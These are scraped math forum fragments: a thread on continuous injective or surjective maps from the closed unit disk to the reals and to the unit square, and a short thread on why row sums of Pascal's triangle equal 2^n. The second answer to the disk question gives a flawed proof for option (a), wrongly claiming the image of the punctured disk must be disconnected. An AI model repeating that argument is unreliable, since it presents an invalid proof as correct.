• sorry, I can't get chat working on mobile right now. I'll have access to a computer in about 12 hours Apr 16 '15 at 10:56
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Let I denote the unit interval $[0, 1].$ Which of the following statements are true?
Let $$B := \{(x, y) \in \mathbb{R}^2 : x^2 + y^2 \le 1\}$$be the closed ball in $$\mathbb{R^2}$$ with center at the origin. Let I denote the unit interval $$[0, 1].$$ Which of the following statements are true?
Which of the following statements are true?
$$(a)$$ There exists a continuous function $$f : B \rightarrow \mathbb{R}$$ which is one-one
$$(b)$$ There exists a continuous function $$f : B \rightarrow \mathbb{R}$$ which is onto.
$$(c)$$ There exists a continuous function $$f : B \rightarrow I × I$$ which is one-one.
$$(d)$$ There exists a continuous function $$f : B \rightarrow I × I$$ which is onto.
I thinks none of option will be correct
option $$a)$$ and option $$b)$$ is false Just using the logics of compactness, that is $$\mathbb{R}$$ is not compacts option c) and option d) is false just using the logic of connectedness that is $$B-\{0\}$$ is not connected but $$I × I-\{0\}$$ is connectedness
Is my logics is correct or not ?
Any hints/solution will be appreciated
thanks u
• why does compactness of $B$ help in (a)? $f$ is not onto there. Also, $B-\{0\}$ is certainly connected. Jan 11 '19 at 17:43
• @Randall B is a circle , cut the circle it will disconnect Jan 11 '19 at 17:45
• I have no idea what you're saying. $B$ is a solid disk. If you poke a hole in a disk it is still connected. Jan 11 '19 at 17:46
• I don't know.... Jan 11 '19 at 17:52
• @Randall compactness does help if you know dimension theory too: if $f: B \to \mathbb{R}$ were continuous and 1-1, $f[B]$ would be homeomorphic to $B$ by compactness. But $\dim f[B] \le 1$ while $\dim B=2$. Bit overkill though. Jan 11 '19 at 18:41
Option a) is false because we cannot even find such a map from $$S^1$$, the unit circle by the simplest version of Borsuk-Ulam: there are already points $$x$$ and $$-x$$ on the boundary of $$B$$ that have the same value.
Option b) is indeed most easily disproved by noting that $$f[B]$$ is compact and the reals are not.
Options c) and d) are true: $$B$$ is homeomorphic to $$I \times I$$, as is well-known. A homeomorphism will fulfill both. Note that $$B\setminus\{0\}$$ is actually connected so your proposed argument doesn’t work.
(a) is false
As $$B$$ is a compact and $$f$$ is continuous, $$f$$ is an homeomorphism from the compact $$B$$ to $$f[B]$$. As $$B$$ is connected, $$f[B]$$ is also connected and is therefore an interval. However $$B\setminus \{0\}$$ is connected and $$f[B\setminus \{0\}]$$ cannot be connected. That can’t be as $$f$$ is an homeomorphism.
(b) is false
The image of the compact $$B$$ must be compact and $$\mathbb R$$ isn’t.
(c) and (d) are true
Consider the application that transform a ray of the unit ball into the line segment joining the origin of $$B$$ to the point of square aligned with the original ray.
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# Pascal's Triangle Proof
Trying to determine a formula for the sum of the entries of the $n$th row of Pascal’s triangle, for any natural number $n$. Any proof will do as I have to determine $3$ different proofs.
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So far, I've been working with a proof which includes Pascal's Identity and using combinations to produce $2^n$.
## 2 Answers
Expand $(1+1)^n$ by the binomial theorem.
• Is it sufficient enough to say: $\sum_{k=0}^{n} \binom{n}{k} 1^{n-k}1{^{k}} = (1+1)^{n} = 2^{n}$ ? – user115461 Jan 27 '14 at 20:14
Induction using $$\displaystyle \sum_k x_{n,k} = \sum_k (x_{n-1,k-1} + x_{n-1,k} ) = \sum_k x_{n-1,k-1} + \sum_k x_{n-1,k} = 2 \sum_k x_{n-1,k}$$ starting at $$\displaystyle\sum_k x_{0,k}=1$$.
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